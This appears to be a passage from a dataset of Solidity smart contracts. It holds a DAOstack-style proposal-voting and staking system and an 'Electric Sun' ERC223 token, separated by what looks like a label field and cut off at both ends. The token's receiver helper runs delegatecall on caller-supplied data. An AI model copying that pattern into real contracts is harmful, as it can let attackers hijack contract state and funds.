proposal.organizationId = keccak256(abi.encodePacked(msg.sender, _organization));
proposal.state = ProposalState.Queued;
proposal.times[0] = now;
proposal.currentBoostedVotePeriodLimit = parameters[_paramsHash].boostedVotePeriodLimit;
proposal.proposer = _proposer;
proposal.winningVote = NO;
proposal.paramsHash = _paramsHash;
if (organizations[proposal.organizationId] == address(0)) {
if (_organization == address(0)) {
organizations[proposal.organizationId] = msg.sender;
} else {
organizations[proposal.organizationId] = _organization;
}
}
uint256 daoBounty =
parameters[_paramsHash].daoBountyConst.mul(averagesDownstakesOfBoosted[proposal.organizationId]).div(100);
if (daoBounty < parameters[_paramsHash].minimumDaoBounty) {
proposal.daoBountyRemain = parameters[_paramsHash].minimumDaoBounty;
} else {
proposal.daoBountyRemain = daoBounty;
}
proposal.totalStakes = proposal.daoBountyRemain;
proposals[proposalId] = proposal;
proposals[proposalId].stakes[NO] = proposal.daoBountyRemain;
emit NewProposal(proposalId, organizations[proposal.organizationId], NUM_OF_CHOICES, _proposer, _paramsHash);
return proposalId;
}
function executeBoosted(bytes32 _proposalId) external returns(uint256 expirationCallBounty) {
Proposal storage proposal = proposals[_proposalId];
require(proposal.state == ProposalState.Boosted || proposal.state == ProposalState.QuietEndingPeriod,
"proposal state in not Boosted nor QuietEndingPeriod");
require(_execute(_proposalId), "proposal need to expire");
uint256 expirationCallBountyPercentage =
(uint(1).add(now.sub(proposal.currentBoostedVotePeriodLimit.add(proposal.times[1])).div(15)));
if (expirationCallBountyPercentage > 100) {
expirationCallBountyPercentage = 100;
}
proposal.expirationCallBountyPercentage = expirationCallBountyPercentage;
expirationCallBounty = expirationCallBountyPercentage.mul(proposal.stakes[YES]).div(100);
require(stakingToken.transfer(msg.sender, expirationCallBounty), "transfer to msg.sender failed");
emit ExpirationCallBounty(_proposalId, msg.sender, expirationCallBounty);
}
function setParameters(
uint[11] calldata _params,
address _voteOnBehalf
)
external
returns(bytes32)
{
require(_params[0] <= 100 && _params[0] >= 50, "50 <= queuedVoteRequiredPercentage <= 100");
require(_params[4] <= 16000 && _params[4] > 1000, "1000 < thresholdConst <= 16000");
require(_params[7] <= 100, "votersReputationLossRatio <= 100");
require(_params[2] >= _params[5], "boostedVotePeriodLimit >= quietEndingPeriod");
require(_params[8] > 0, "minimumDaoBounty should be > 0");
require(_params[9] > 0, "daoBountyConst should be > 0");
bytes32 paramsHash = getParametersHash(_params, _voteOnBehalf);
uint256 limitExponent = 172;
uint256 j = 2;
for (uint256 i = 2000; i < 16000; i = i*2) {
if ((_params[4] > i) && (_params[4] <= i*2)) {
limitExponent = limitExponent/j;
break;
}
j++;
}
parameters[paramsHash] = Parameters({
queuedVoteRequiredPercentage: _params[0],
queuedVotePeriodLimit: _params[1],
boostedVotePeriodLimit: _params[2],
preBoostedVotePeriodLimit: _params[3],
thresholdConst:uint216(_params[4]).fraction(uint216(1000)),
limitExponentValue:limitExponent,
quietEndingPeriod: _params[5],
proposingRepReward: _params[6],
votersReputationLossRatio:_params[7],
minimumDaoBounty:_params[8],
daoBountyConst:_params[9],
activationTime:_params[10],
voteOnBehalf:_voteOnBehalf
});
return paramsHash;
}
function redeem(bytes32 _proposalId, address _beneficiary) public returns (uint[3] memory rewards) {
Proposal storage proposal = proposals[_proposalId];
require((proposal.state == ProposalState.Executed)||(proposal.state == ProposalState.ExpiredInQueue),
"Proposal should be Executed or ExpiredInQueue");
Parameters memory params = parameters[proposal.paramsHash];
uint256 lostReputation;
if (proposal.winningVote == YES) {
lostReputation = proposal.preBoostedVotes[NO];
} else {
lostReputation = proposal.preBoostedVotes[YES];
}
lostReputation = (lostReputation.mul(params.votersReputationLossRatio))/100;
Staker storage staker = proposal.stakers[_beneficiary];
uint256 totalStakes = proposal.stakes[NO].add(proposal.stakes[YES]);
uint256 totalWinningStakes = proposal.stakes[proposal.winningVote];
if (staker.amount > 0) {
uint256 totalStakesLeftAfterCallBounty =
totalStakes.sub(proposal.expirationCallBountyPercentage.mul(proposal.stakes[YES]).div(100));
if (proposal.state == ProposalState.ExpiredInQueue) {
rewards[0] = staker.amount;
} else if (staker.vote == proposal.winningVote) {
if (staker.vote == YES) {
if (proposal.daoBounty < totalStakesLeftAfterCallBounty) {
uint256 _totalStakes = totalStakesLeftAfterCallBounty.sub(proposal.daoBounty);
rewards[0] = (staker.amount.mul(_totalStakes))/totalWinningStakes;
}
} else {
rewards[0] = (staker.amount.mul(totalStakesLeftAfterCallBounty))/totalWinningStakes;
}
}
staker.amount = 0;
}
if (proposal.daoRedeemItsWinnings == false &&
_beneficiary == organizations[proposal.organizationId] &&
proposal.state != ProposalState.ExpiredInQueue &&
proposal.winningVote == NO) {
rewards[0] =
rewards[0].add((proposal.daoBounty.mul(totalStakes))/totalWinningStakes).sub(proposal.daoBounty);
proposal.daoRedeemItsWinnings = true;
}
Voter storage voter = proposal.voters[_beneficiary];
if ((voter.reputation != 0) && (voter.preBoosted)) {
if (proposal.state == ProposalState.ExpiredInQueue) {
rewards[1] = ((voter.reputation.mul(params.votersReputationLossRatio))/100);
} else if (proposal.winningVote == voter.vote) {
rewards[1] = ((voter.reputation.mul(params.votersReputationLossRatio))/100)
.add((voter.reputation.mul(lostReputation))/proposal.preBoostedVotes[proposal.winningVote]);
}
voter.reputation = 0;
}
if ((proposal.proposer == _beneficiary)&&(proposal.winningVote == YES)&&(proposal.proposer != address(0))) {
rewards[2] = params.proposingRepReward;
proposal.proposer = address(0);
}
if (rewards[0] != 0) {
proposal.totalStakes = proposal.totalStakes.sub(rewards[0]);
require(stakingToken.transfer(_beneficiary, rewards[0]), "transfer to beneficiary failed");
emit Redeem(_proposalId, organizations[proposal.organizationId], _beneficiary, rewards[0]);
}
if (rewards[1].add(rewards[2]) != 0) {
VotingMachineCallbacksInterface(proposal.callbacks)
.mintReputation(rewards[1].add(rewards[2]), _beneficiary, _proposalId);
emit RedeemReputation(
_proposalId,
organizations[proposal.organizationId],
_beneficiary,
rewards[1].add(rewards[2])
);
}
}
function redeemDaoBounty(bytes32 _proposalId, address _beneficiary)
public
returns(uint256 redeemedAmount, uint256 potentialAmount) {
Proposal storage proposal = proposals[_proposalId];
require(proposal.state == ProposalState.Executed);
uint256 totalWinningStakes = proposal.stakes[proposal.winningVote];
Staker storage staker = proposal.stakers[_beneficiary];
if (
(staker.amount4Bounty > 0)&&
(staker.vote == proposal.winningVote)&&
(proposal.winningVote == YES)&&
(totalWinningStakes != 0)) {
potentialAmount = (staker.amount4Bounty * proposal.daoBounty)/totalWinningStakes;
}
if ((potentialAmount != 0)&&
(VotingMachineCallbacksInterface(proposal.callbacks)
.balanceOfStakingToken(stakingToken, _proposalId) >= potentialAmount)) {
staker.amount4Bounty = 0;
proposal.daoBountyRemain = proposal.daoBountyRemain.sub(potentialAmount);
require(
VotingMachineCallbacksInterface(proposal.callbacks)
.stakingTokenTransfer(stakingToken, _beneficiary, potentialAmount, _proposalId));
redeemedAmount = potentialAmount;
emit RedeemDaoBounty(_proposalId, organizations[proposal.organizationId], _beneficiary, redeemedAmount);
}
}
function shouldBoost(bytes32 _proposalId) public view returns(bool) {
Proposal memory proposal = proposals[_proposalId];
return (_score(_proposalId) > threshold(proposal.paramsHash, proposal.organizationId));
}
function threshold(bytes32 _paramsHash, bytes32 _organizationId) public view returns(uint256) {
uint256 power = orgBoostedProposalsCnt[_organizationId];
Parameters storage params = parameters[_paramsHash];
if (power > params.limitExponentValue) {
power = params.limitExponentValue;
}
return params.thresholdConst.pow(power);
}
function getParametersHash(
uint[11] memory _params,
address _voteOnBehalf
)
public
pure
returns(bytes32)
{
return keccak256(
abi.encodePacked(
keccak256(
abi.encodePacked(
_params[0],
_params[1],
_params[2],
_params[3],
_params[4],
_params[5],
_params[6],
_params[7],
_params[8],
_params[9],
_params[10])
),
_voteOnBehalf
));
}
function _execute(bytes32 _proposalId) internal votable(_proposalId) returns(bool) {
Proposal storage proposal = proposals[_proposalId];
Parameters memory params = parameters[proposal.paramsHash];
Proposal memory tmpProposal = proposal;
uint256 totalReputation =
VotingMachineCallbacksInterface(proposal.callbacks).getTotalReputationSupply(_proposalId);
uint256 executionBar = (totalReputation/100) * params.queuedVoteRequiredPercentage;
ExecutionState executionState = ExecutionState.None;
uint256 averageDownstakesOfBoosted;
uint256 confidenceThreshold;
if (proposal.votes[proposal.winningVote] > executionBar) {
if (proposal.state == ProposalState.Queued) {
executionState = ExecutionState.QueueBarCrossed;
} else if (proposal.state == ProposalState.PreBoosted) {
executionState = ExecutionState.PreBoostedBarCrossed;
} else {
executionState = ExecutionState.BoostedBarCrossed;
}
proposal.state = ProposalState.Executed;
} else {
if (proposal.state == ProposalState.Queued) {
if ((now - proposal.times[0]) >= params.queuedVotePeriodLimit) {
proposal.state = ProposalState.ExpiredInQueue;
proposal.winningVote = NO;
executionState = ExecutionState.QueueTimeOut;
} else {
confidenceThreshold = threshold(proposal.paramsHash, proposal.organizationId);
if (_score(_proposalId) > confidenceThreshold) {
proposal.state = ProposalState.PreBoosted;
proposal.times[2] = now;
proposal.confidenceThreshold = confidenceThreshold;
}
}
}
if (proposal.state == ProposalState.PreBoosted) {
confidenceThreshold = threshold(proposal.paramsHash, proposal.organizationId);
if ((now - proposal.times[2]) >= params.preBoostedVotePeriodLimit) {
if (_score(_proposalId) > confidenceThreshold) {
if (orgBoostedProposalsCnt[proposal.organizationId] < MAX_BOOSTED_PROPOSALS) {
proposal.state = ProposalState.Boosted;
proposal.times[1] = now;
orgBoostedProposalsCnt[proposal.organizationId]++;
averageDownstakesOfBoosted = averagesDownstakesOfBoosted[proposal.organizationId];
averagesDownstakesOfBoosted[proposal.organizationId] =
uint256(int256(averageDownstakesOfBoosted) +
((int256(proposal.stakes[NO])-int256(averageDownstakesOfBoosted))/
int256(orgBoostedProposalsCnt[proposal.organizationId])));
}
} else {
proposal.state = ProposalState.Queued;
}
} else {
uint256 proposalScore = _score(_proposalId);
if (proposalScore <= proposal.confidenceThreshold.min(confidenceThreshold)) {
proposal.state = ProposalState.Queued;
} else if (proposal.confidenceThreshold > proposalScore) {
proposal.confidenceThreshold = confidenceThreshold;
emit ConfidenceLevelChange(_proposalId, confidenceThreshold);
}
}
}
}
if ((proposal.state == ProposalState.Boosted) ||
(proposal.state == ProposalState.QuietEndingPeriod)) {
if ((now - proposal.times[1]) >= proposal.currentBoostedVotePeriodLimit) {
proposal.state = ProposalState.Executed;
executionState = ExecutionState.BoostedTimeOut;
}
}
if (executionState != ExecutionState.None) {
if ((executionState == ExecutionState.BoostedTimeOut) ||
(executionState == ExecutionState.BoostedBarCrossed)) {
orgBoostedProposalsCnt[tmpProposal.organizationId] =
orgBoostedProposalsCnt[tmpProposal.organizationId].sub(1);
uint256 boostedProposals = orgBoostedProposalsCnt[tmpProposal.organizationId];
if (boostedProposals == 0) {
averagesDownstakesOfBoosted[proposal.organizationId] = 0;
} else {
averageDownstakesOfBoosted = averagesDownstakesOfBoosted[proposal.organizationId];
averagesDownstakesOfBoosted[proposal.organizationId] =
(averageDownstakesOfBoosted.mul(boostedProposals+1).sub(proposal.stakes[NO]))/boostedProposals;
}
}
emit ExecuteProposal(
_proposalId,
organizations[proposal.organizationId],
proposal.winningVote,
totalReputation
);
emit GPExecuteProposal(_proposalId, executionState);
ProposalExecuteInterface(proposal.callbacks).executeProposal(_proposalId, int(proposal.winningVote));
proposal.daoBounty = proposal.daoBountyRemain;
}
if (tmpProposal.state != proposal.state) {
emit StateChange(_proposalId, proposal.state);
}
return (executionState != ExecutionState.None);
}
function _stake(bytes32 _proposalId, uint256 _vote, uint256 _amount, address _staker) internal returns(bool) {
require(_vote <= NUM_OF_CHOICES && _vote > 0, "wrong vote value");
require(_amount > 0, "staking amount should be >0");
if (_execute(_proposalId)) {
return true;
}
Proposal storage proposal = proposals[_proposalId];
if ((proposal.state != ProposalState.PreBoosted) &&
(proposal.state != ProposalState.Queued)) {
return false;
}
Staker storage staker = proposal.stakers[_staker];
if ((staker.amount > 0) && (staker.vote != _vote)) {
return false;
}
uint256 amount = _amount;
require(stakingToken.transferFrom(_staker, address(this), amount), "fail transfer from staker");
proposal.totalStakes = proposal.totalStakes.add(amount);
staker.amount = staker.amount.add(amount);
require(staker.amount <= 0x100000000000000000000000000000000, "staking amount is too high");
require(proposal.totalStakes <= 0x100000000000000000000000000000000, "total stakes is too high");
if (_vote == YES) {
staker.amount4Bounty = staker.amount4Bounty.add(amount);
}
staker.vote = _vote;
proposal.stakes[_vote] = amount.add(proposal.stakes[_vote]);
emit Stake(_proposalId, organizations[proposal.organizationId], _staker, _vote, _amount);
return _execute(_proposalId);
}
function internalVote(bytes32 _proposalId, address _voter, uint256 _vote, uint256 _rep) internal returns(bool) {
require(_vote <= NUM_OF_CHOICES && _vote > 0, "0 < _vote <= 2");
if (_execute(_proposalId)) {
return true;
}
Parameters memory params = parameters[proposals[_proposalId].paramsHash];
Proposal storage proposal = proposals[_proposalId];
uint256 reputation = VotingMachineCallbacksInterface(proposal.callbacks).reputationOf(_voter, _proposalId);
require(reputation > 0, "_voter must have reputation");
require(reputation >= _rep, "reputation >= _rep");
uint256 rep = _rep;
if (rep == 0) {
rep = reputation;
}
if (proposal.voters[_voter].reputation != 0) {
return false;
}
proposal.votes[_vote] = rep.add(proposal.votes[_vote]);
if ((proposal.votes[_vote] > proposal.votes[proposal.winningVote]) ||
((proposal.votes[NO] == proposal.votes[proposal.winningVote]) &&
proposal.winningVote == YES)) {
if (proposal.state == ProposalState.Boosted &&
((now - proposal.times[1]) >= (params.boostedVotePeriodLimit - params.quietEndingPeriod))||
proposal.state == ProposalState.QuietEndingPeriod) {
if (proposal.state != ProposalState.QuietEndingPeriod) {
proposal.currentBoostedVotePeriodLimit = params.quietEndingPeriod;
proposal.state = ProposalState.QuietEndingPeriod;
}
proposal.times[1] = now;
}
proposal.winningVote = _vote;
}
proposal.voters[_voter] = Voter({
reputation: rep,
vote: _vote,
preBoosted:((proposal.state == ProposalState.PreBoosted) || (proposal.state == ProposalState.Queued))
});
if ((proposal.state == ProposalState.PreBoosted) || (proposal.state == ProposalState.Queued)) {
proposal.preBoostedVotes[_vote] = rep.add(proposal.preBoostedVotes[_vote]);
uint256 reputationDeposit = (params.votersReputationLossRatio.mul(rep))/100;
VotingMachineCallbacksInterface(proposal.callbacks).burnReputation(reputationDeposit, _voter, _proposalId);
}
emit VoteProposal(_proposalId, organizations[proposal.organizationId], _voter, _vote, rep);
return _execute(_proposalId);
}
function _score(bytes32 _proposalId) internal view returns(uint256) {
Proposal storage proposal = proposals[_proposalId];
return uint216(proposal.stakes[YES]).fraction(uint216(proposal.stakes[NO]));
}
function _isVotable(bytes32 _proposalId) internal view returns(bool) {
ProposalState pState = proposals[_proposalId].state;
return ((pState == ProposalState.PreBoosted)||
(pState == ProposalState.Boosted)||
(pState == ProposalState.QuietEndingPeriod)||
(pState == ProposalState.Queued)
);
}
}
pragma solidity ^0.5.4;
contract GenesisProtocol is IntVoteInterface, GenesisProtocolLogic {
using ECDSA for bytes32;
bytes32 public constant DELEGATION_HASH_EIP712 =
keccak256(abi.encodePacked(
"address GenesisProtocolAddress",
"bytes32 ProposalId",
"uint256 Vote",
"uint256 AmountToStake",
"uint256 Nonce"
));
mapping(address=>uint256) public stakesNonce;
constructor(IERC20 _stakingToken)
public
GenesisProtocolLogic(_stakingToken) {
}
function stake(bytes32 _proposalId, uint256 _vote, uint256 _amount) external returns(bool) {
return _stake(_proposalId, _vote, _amount, msg.sender);
}
function stakeWithSignature(
bytes32 _proposalId,
uint256 _vote,
uint256 _amount,
uint256 _nonce,
uint256 _signatureType,
bytes calldata _signature
)
external
returns(bool)
{
bytes32 delegationDigest;
if (_signatureType == 2) {
delegationDigest = keccak256(
abi.encodePacked(
DELEGATION_HASH_EIP712, keccak256(
abi.encodePacked(
address(this),
_proposalId,
_vote,
_amount,
_nonce)
)
)
);
} else {
delegationDigest = keccak256(
abi.encodePacked(
address(this),
_proposalId,
_vote,
_amount,
_nonce)
).toEthSignedMessageHash();
}
address staker = delegationDigest.recover(_signature);
require(staker != address(0), "staker address cannot be 0");
require(stakesNonce[staker] == _nonce);
stakesNonce[staker] = stakesNonce[staker].add(1);
return _stake(_proposalId, _vote, _amount, staker);
}
function vote(bytes32 _proposalId, uint256 _vote, uint256 _amount, address _voter)
external
votable(_proposalId)
returns(bool) {
Proposal storage proposal = proposals[_proposalId];
Parameters memory params = parameters[proposal.paramsHash];
address voter;
if (params.voteOnBehalf != address(0)) {
require(msg.sender == params.voteOnBehalf);
voter = _voter;
} else {
voter = msg.sender;
}
return internalVote(_proposalId, voter, _vote, _amount);
}
function cancelVote(bytes32 _proposalId) external votable(_proposalId) {
return;
}
function execute(bytes32 _proposalId) external votable(_proposalId) returns(bool) {
return _execute(_proposalId);
}
function getNumberOfChoices(bytes32) external view returns(uint256) {
return NUM_OF_CHOICES;
}
function getProposalTimes(bytes32 _proposalId) external view returns(uint[3] memory times) {
return proposals[_proposalId].times;
}
function voteInfo(bytes32 _proposalId, address _voter) external view returns(uint, uint) {
Voter memory voter = proposals[_proposalId].voters[_voter];
return (voter.vote, voter.reputation);
}
function voteStatus(bytes32 _proposalId, uint256 _choice) external view returns(uint256) {
return proposals[_proposalId].votes[_choice];
}
function isVotable(bytes32 _proposalId) external view returns(bool) {
return _isVotable(_proposalId);
}
function proposalStatus(bytes32 _proposalId) external view returns(uint256, uint256, uint256, uint256) {
return (
proposals[_proposalId].preBoostedVotes[YES],
proposals[_proposalId].preBoostedVotes[NO],
proposals[_proposalId].stakes[YES],
proposals[_proposalId].stakes[NO]
);
}
function getProposalOrganization(bytes32 _proposalId) external view returns(bytes32) {
return (proposals[_proposalId].organizationId);
}
function getStaker(bytes32 _proposalId, address _staker) external view returns(uint256, uint256) {
return (proposals[_proposalId].stakers[_staker].vote, proposals[_proposalId].stakers[_staker].amount);
}
function voteStake(bytes32 _proposalId, uint256 _vote) external view returns(uint256) {
return proposals[_proposalId].stakes[_vote];
}
function winningVote(bytes32 _proposalId) external view returns(uint256) {
return proposals[_proposalId].winningVote;
}
function state(bytes32 _proposalId) external view returns(ProposalState) {
return proposals[_proposalId].state;
}
function isAbstainAllow() external pure returns(bool) {
return false;
}
function getAllowedRangeOfChoices() external pure returns(uint256 min, uint256 max) {
return (YES, NO);
}
function score(bytes32 _proposalId) public view returns(uint256) {
return _score(_proposalId);
}
}
pragma solidity ^0.5.4;
contract VotingMachineCallbacks is VotingMachineCallbacksInterface {
struct ProposalInfo {
uint256 blockNumber;
Avatar avatar;
}
modifier onlyVotingMachine(bytes32 _proposalId) {
require(proposalsInfo[msg.sender][_proposalId].avatar != Avatar(address(0)), "only VotingMachine");
_;
}
mapping(address => mapping(bytes32 => ProposalInfo)) public proposalsInfo;
function mintReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).mintReputation(_amount, _beneficiary, address(avatar));
}
function burnReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).burnReputation(_amount, _beneficiary, address(avatar));
}
function stakingTokenTransfer(
IERC20 _stakingToken,
address _beneficiary,
uint256 _amount,
bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).externalTokenTransfer(_stakingToken, _beneficiary, _amount, avatar);
}
function balanceOfStakingToken(IERC20 _stakingToken, bytes32 _proposalId) external view returns(uint256) {
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (proposalsInfo[msg.sender][_proposalId].avatar == Avatar(0)) {
return 0;
}
return _stakingToken.balanceOf(address(avatar));
}
function getTotalReputationSupply(bytes32 _proposalId) external view returns(uint256) {
ProposalInfo memory proposal = proposalsInfo[msg.sender][_proposalId];
if (proposal.avatar == Avatar(0)) {
return 0;
}
return proposal.avatar.nativeReputation().totalSupplyAt(proposal.blockNumber);
}
function reputationOf(address _owner, bytes32 _proposalId) external view returns(uint256) {
ProposalInfo memory proposal = proposalsInfo[msg.sender][_proposalId];
if (proposal.avatar == Avatar(0)) {
return 0;
}
return proposal.avatar.nativeReputation().balanceOfAt(_owner, proposal.blockNumber);
}
}
pragma solidity ^0.5.4;
contract GenericScheme is UniversalScheme, VotingMachineCallbacks, ProposalExecuteInterface {
event NewCallProposal(
address indexed _avatar,
bytes32 indexed _proposalId,
bytes _callData,
uint256 _value,
string _descriptionHash
);
event ProposalExecuted(
address indexed _avatar,
bytes32 indexed _proposalId,
bytes _genericCallReturnValue
);
event ProposalExecutedByVotingMachine(
address indexed _avatar,
bytes32 indexed _proposalId,
int256 _param
);
event ProposalDeleted(address indexed _avatar, bytes32 indexed _proposalId);
struct CallProposal {
bytes callData;
uint256 value;
bool exist;
bool passed;
}
mapping(address=>mapping(bytes32=>CallProposal)) public organizationsProposals;
struct Parameters {
IntVoteInterface intVote;
bytes32 voteParams;
address contractToCall;
}
mapping(bytes32=>Parameters) public parameters;
function executeProposal(bytes32 _proposalId, int256 _decision)
external
onlyVotingMachine(_proposalId)
returns(bool) {
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
CallProposal storage proposal = organizationsProposals[address(avatar)][_proposalId];
require(proposal.exist, "must be a live proposal");
require(proposal.passed == false, "cannot execute twice");
if (_decision == 1) {
proposal.passed = true;
execute(avatar, _proposalId);
} else {
delete organizationsProposals[address(avatar)][_proposalId];
emit ProposalDeleted(address(avatar), _proposalId);
}
emit ProposalExecutedByVotingMachine(address(avatar), _proposalId, _decision);
return true;
}
function execute(Avatar _avatar, bytes32 _proposalId) public {
Parameters memory params = parameters[getParametersFromController(_avatar)];
CallProposal storage proposal = organizationsProposals[address(_avatar)][_proposalId];
require(proposal.exist, "must be a live proposal");
require(proposal.passed, "proposal must passed by voting machine");
proposal.exist = false;
bytes memory genericCallReturnValue;
bool success;
ControllerInterface controller = ControllerInterface(_avatar.owner());
(success, genericCallReturnValue) =
controller.genericCall(params.contractToCall, proposal.callData, _avatar, proposal.value);
if (success) {
delete organizationsProposals[address(_avatar)][_proposalId];
emit ProposalDeleted(address(_avatar), _proposalId);
emit ProposalExecuted(address(_avatar), _proposalId, genericCallReturnValue);
} else {
proposal.exist = true;
}
}
function setParameters(
bytes32 _voteParams,
IntVoteInterface _intVote,
address _contractToCall
) public returns(bytes32)
{
bytes32 paramsHash = getParametersHash(_voteParams, _intVote, _contractToCall);
parameters[paramsHash].voteParams = _voteParams;
parameters[paramsHash].intVote = _intVote;
parameters[paramsHash].contractToCall = _contractToCall;
return paramsHash;
}
function getParametersHash(
bytes32 _voteParams,
IntVoteInterface _intVote,
address _contractToCall
) public pure returns(bytes32)
{
return keccak256(abi.encodePacked(_voteParams, _intVote, _contractToCall));
}
function proposeCall(Avatar _avatar, bytes memory _callData, uint256 _value, string memory _descriptionHash)
public
returns(bytes32)
{
Parameters memory params = parameters[getParametersFromController(_avatar)];
IntVoteInterface intVote = params.intVote;
bytes32 proposalId = intVote.propose(2, params.voteParams, msg.sender, address(_avatar));
organizationsProposals[address(_avatar)][proposalId] = CallProposal({
callData: _callData,
value: _value,
exist: true,
passed: false
});
proposalsInfo[address(params.intVote)][proposalId] = ProposalInfo({
blockNumber:block.number,
avatar:_avatar
});
emit NewCallProposal(address(_avatar), proposalId, _callData, _value, _descriptionHash);
return proposalId;
}
function getContractToCall(Avatar _avatar) public view returns(address) {
return parameters[getParametersFromController(_avatar)].contractToCall;
}
} | 0 | 68 |
pragma solidity 0.4.24;
interface ERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function transfer(address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address _who) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
}
contract ERC223 is ERC20 {
event Transfer(address indexed _from, address indexed _to, uint256 _value, bytes indexed _data);
function transfer(address _to, uint256 _value, bytes _data) public returns (bool success);
function contractFallback(address _to, uint _value, bytes _data) internal returns (bool success);
function isContract(address _addr) internal view returns (bool);
}
contract Ownable {
address private owner_;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner_ = msg.sender;
}
function owner() public view returns(address) {
return owner_;
}
modifier onlyOwner() {
require(msg.sender == owner_, "Only the owner can call this function.");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner_);
owner_ = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0), "Cannot transfer ownership to zero address.");
emit OwnershipTransferred(owner_, _newOwner);
owner_ = _newOwner;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Generic223Receiver {
uint public sentValue;
address public tokenAddr;
address public tokenSender;
bool public calledFoo;
bytes public tokenData;
bytes4 public tokenSig;
Tkn private tkn;
bool private __isTokenFallback;
struct Tkn {
address addr;
address sender;
uint256 value;
bytes data;
bytes4 sig;
}
modifier tokenPayable {
assert(__isTokenFallback);
_;
}
function tokenFallback(address _sender, uint _value, bytes _data) public returns (bool success) {
tkn = Tkn(msg.sender, _sender, _value, _data, getSig(_data));
__isTokenFallback = true;
address(this).delegatecall(_data);
__isTokenFallback = false;
return true;
}
function foo() public tokenPayable {
saveTokenValues();
calledFoo = true;
}
function getSig(bytes _data) private pure returns (bytes4 sig) {
uint lngth = _data.length < 4 ? _data.length : 4;
for (uint i = 0; i < lngth; i++) {
sig = bytes4(uint(sig) + uint(_data[i]) * (2 ** (8 * (lngth - 1 - i))));
}
}
function saveTokenValues() private {
tokenAddr = tkn.addr;
tokenSender = tkn.sender;
sentValue = tkn.value;
tokenSig = tkn.sig;
tokenData = tkn.data;
}
}
contract Electric_Sun is ERC223, Ownable {
using SafeMath for uint256;
string private name_ = "Electric Sun";
string private symbol_ = "eSun";
uint256 private decimals_ = 18;
uint256 public totalSupply = 77000000 * (10 ** decimals_);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping (address => uint256) internal balances_;
mapping (address => mapping (address => uint256)) private allowed_;
constructor() public {
balances_[msg.sender] = balances_[msg.sender].add(totalSupply);
emit Transfer(address(0), msg.sender, totalSupply);
}
function() public payable { revert("Cannot send ETH to this address."); }
function name() public view returns(string) {
return name_;
}
function symbol() public view returns(string) {
return symbol_;
}
function decimals() public view returns(uint256) {
return decimals_;
}
function totalSupply() public view returns (uint256) {
return totalSupply;
}
function safeTransfer(address _to, uint256 _value) public {
require(transfer(_to, _value), "Transfer failed.");
}
function safeTransferFrom(address _from, address _to, uint256 _value) public {
require(transferFrom(_from, _to, _value), "Transfer failed.");
}
function safeApprove( address _spender, uint256 _currentValue, uint256 _value ) public {
require(allowed_[msg.sender][_spender] == _currentValue, "Current allowance value does not match.");
approve(_spender, _value);
}
function balanceOf(address _owner) public view returns (uint256) {
return balances_[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed_[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances_[msg.sender], "Value exceeds balance of msg.sender.");
require(_to != address(0), "Cannot send tokens to zero address.");
balances_[msg.sender] = balances_[msg.sender].sub(_value);
balances_[_to] = balances_[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed_[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_value <= balances_[_from], "Value exceeds balance of msg.sender.");
require(_value <= allowed_[_from][msg.sender], "Value exceeds allowance of msg.sender for this owner.");
require(_to != address(0), "Cannot send tokens to zero address.");
balances_[_from] = balances_[_from].sub(_value);
balances_[_to] = balances_[_to].add(_value);
allowed_[_from][msg.sender] = allowed_[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) {
allowed_[msg.sender][_spender] = allowed_[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed_[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool) {
uint256 oldValue = allowed_[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed_[msg.sender][_spender] = 0;
} else {
allowed_[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed_[msg.sender][_spender]);
return true;
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_to != address(0), "Cannot transfer token to zero address.");
require(_value <= balanceOf(msg.sender), "Value exceeds balance of msg.sender.");
transfer(_to, _value);
if (isContract(_to)) {
return contractFallback(_to, _value, _data);
